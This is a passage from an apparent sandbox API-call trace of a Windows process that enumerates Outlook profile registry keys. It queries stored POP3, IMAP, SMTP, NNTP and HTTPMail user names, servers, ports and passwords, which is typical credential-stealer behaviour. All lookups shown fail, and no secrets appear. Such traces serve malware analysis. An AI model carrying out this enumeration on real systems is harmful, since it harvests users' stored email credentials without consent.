lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.516] RegCloseKey (hKey=0x930) returned 0x0 [0096.516] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.516] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.517] RegCloseKey (hKey=0x930) returned 0x0 [0096.517] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.517] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.518] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.518] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.518] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.519] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.519] RegCloseKey (hKey=0x930) returned 0x0 [0096.519] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.520] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.520] RegCloseKey (hKey=0x930) returned 0x0 [0096.520] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.520] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.520] RegCloseKey (hKey=0x930) returned 0x0 [0096.520] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.520] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.520] RegCloseKey (hKey=0x930) returned 0x0 [0096.520] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.520] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.520] RegCloseKey (hKey=0x930) returned 0x0 [0096.520] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", phkResult=0x54de440 | out: phkResult=0x54de440*=0x930) returned 0x0 [0096.520] RegEnumKeyExA (in: hKey=0x930, dwIndex=0x0, lpName=0x54de450, lpcchName=0x54dec78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dec78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.520] RegCloseKey (hKey=0x930) returned 0x0 [0096.520] LocalFree (hMem=0x4472930) returned 0x0 [0096.520] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x3, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.520] RegCloseKey (hKey=0x71c) returned 0x0 [0096.520] LocalFree (hMem=0x28e7670) returned 0x0 [0096.520] RegEnumKeyExA (in: hKey=0x368, dwIndex=0xd, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.520] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.520] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.520] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned 88 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.521] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.521] RegCloseKey (hKey=0x71c) returned 0x0 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.521] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.521] RegCloseKey (hKey=0x71c) returned 0x0 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.521] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.521] RegCloseKey (hKey=0x71c) returned 0x0 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.521] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.521] RegCloseKey (hKey=0x71c) returned 0x0 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.521] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.521] RegCloseKey (hKey=0x71c) returned 0x0 [0096.521] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.522] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.522] RegCloseKey (hKey=0x71c) returned 0x0 [0096.522] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, 